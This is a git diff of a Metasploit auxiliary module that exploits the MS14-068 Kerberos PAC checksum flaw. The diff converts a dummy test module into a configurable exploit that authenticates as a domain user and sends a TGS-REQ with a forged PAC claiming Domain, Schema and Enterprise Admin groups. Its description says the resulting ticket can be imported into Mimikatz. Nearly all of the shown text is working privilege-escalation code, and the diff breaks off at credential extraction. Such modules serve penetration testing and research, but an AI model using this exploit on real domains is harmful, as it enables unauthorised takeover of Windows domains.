diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index b193dd63d4..c5800ed737 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -12,15 +12,20 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Dummy Kerberos testing module', + 'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability', 'Description' => %q{ - Dummy Kerberos testing module + This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem + exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS + request, allowing a domain user to forge a PAC with arbitrary privileges, including Domain + Administrator. This module outputs a MIT Kerberos Credential Cache with the privileged + ticket, which can be imported, for example, on Mimikatz. It has been tested successfully on + Windows 2008. }, 'Author' => [ 'Tom Maddock', # Vulnerability discovery 'Sylvain Monne', # pykek framework and exploit - 'juan vazquez' # Metasploit module + 'juan vazquez' # Metasploit module ], 'References' => [ @@ -34,76 +39,92 @@ class Metasploit4 < Msf::Auxiliary 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 18 2014' )) + + register_options( + [ + OptString.new('USER', [ true, 'The Domain User', 'juan']), + OptString.new('PASSWORD', [ true, 'The Domain User password', 'juan']), + OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL', 'DEMO.LOCAL']), + OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962', 'S-1-5-21-1755879683-3641577184-3486455962']) + ], self.class) end def run - connect(:rhost => datastore['RHOST']) - print_status("Sending AS-REQ...") + print_status("#{peer} - Connecting with the KDC...") + connect(:rhost => datastore['RHOST']) - my_key = OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan')) + unicode_password = Rex::Text.to_unicode(datastore['PASSWORD']) + password_digest = OpenSSL::Digest.digest('MD4', unicode_password) pre_auth = [] - pre_auth << build_as_pa_time_stamp(key: my_key) + pre_auth << build_as_pa_time_stamp(key: password_digest) pre_auth << build_pa_pac_request pre_auth + print_status("#{peer} - Sending AS-REQ...") res = send_request_as( - client_name: 'juan', - server_name: 'krbtgt/DEMO.LOCAL', - realm: 'DEMO.LOCAL', - key: my_key, + client_name: "#{datastore['USER']}", + server_name: "krbtgt/#{datastore['DOMAIN']}", + realm: "#{datastore['DOMAIN']}", + key: password_digest, pa_data: pre_auth ) - unless res.msg_type == 11 - print_error("invalid response :(") + unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP + print_error("#{peer} - Invalid AS-REP, aborting...") return end - print_good("good answer!") - print_status("Parsing AS-REP...") - - session_key = extract_session_key(res, my_key) - logon_time = extract_logon_time(res, my_key) + print_status("#{peer} - Parsing AS-REP...") + session_key = extract_session_key(res, password_digest) + logon_time = extract_logon_time(res, password_digest) ticket = res.ticket - print_status("Sending TGS-REQ...") - pre_auth = [] pre_auth << build_pa_pac_request + groups = [ + 513, # DOMAIN_USERS + 512, # DOMAIN_ADMINS + 520, # GROUP_POLICY_CREATOR_OWNERS + 518, # SCHEMA_ADMINISTRATORS + 519 # ENTERPRISE_ADMINS + ] + pac = build_pac( - client_name: 'juan', - group_ids: [513, 512, 520, 518, 519], - domain_id: 'S-1-5-21-1755879683-3641577184-3486455962', - realm: 'DEMO.LOCAL', + client_name: datastore['USER'], + group_ids: groups, + domain_id: datastore['DOMAIN_SID'], + realm: datastore['DOMAIN'], logon_time: logon_time, ) auth_data = build_pac_authorization_data(pac: pac) + print_status("#{peer} - Sending TGS-REQ...") + res = send_request_tgs( - client_name: 'juan', - server_name: 'krbtgt/DEMO.LOCAL', - realm: 'DEMO.LOCAL', - key: my_key, + client_name: datastore['USER'], + server_name: "krbtgt/#{datastore['DOMAIN']}", + realm: datastore['DOMAIN'], + key: password_digest, logon_time: logon_time, session_key: session_key, ticket: ticket, - group_ids: [513, 512, 520, 518, 519], - domain_id: 'S-1-5-21-1755879683-3641577184-3486455962', + group_ids: groups, + domain_id: datastore['DOMAIN_SID'], auth_data: auth_data, pa_data: pre_auth ) - unless res.msg_type == 13 - print_error("invalid response :(") + unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP + print_error("#{peer} - Invalid TGS-REP, aborting...") return end - print_good("Valid TGS-Response") + print_good("#{peer} - Valid TGS-Response, extracting credentials...") cache = extract_kerb_creds(res, 'AAAABBBBCCCCDDDD')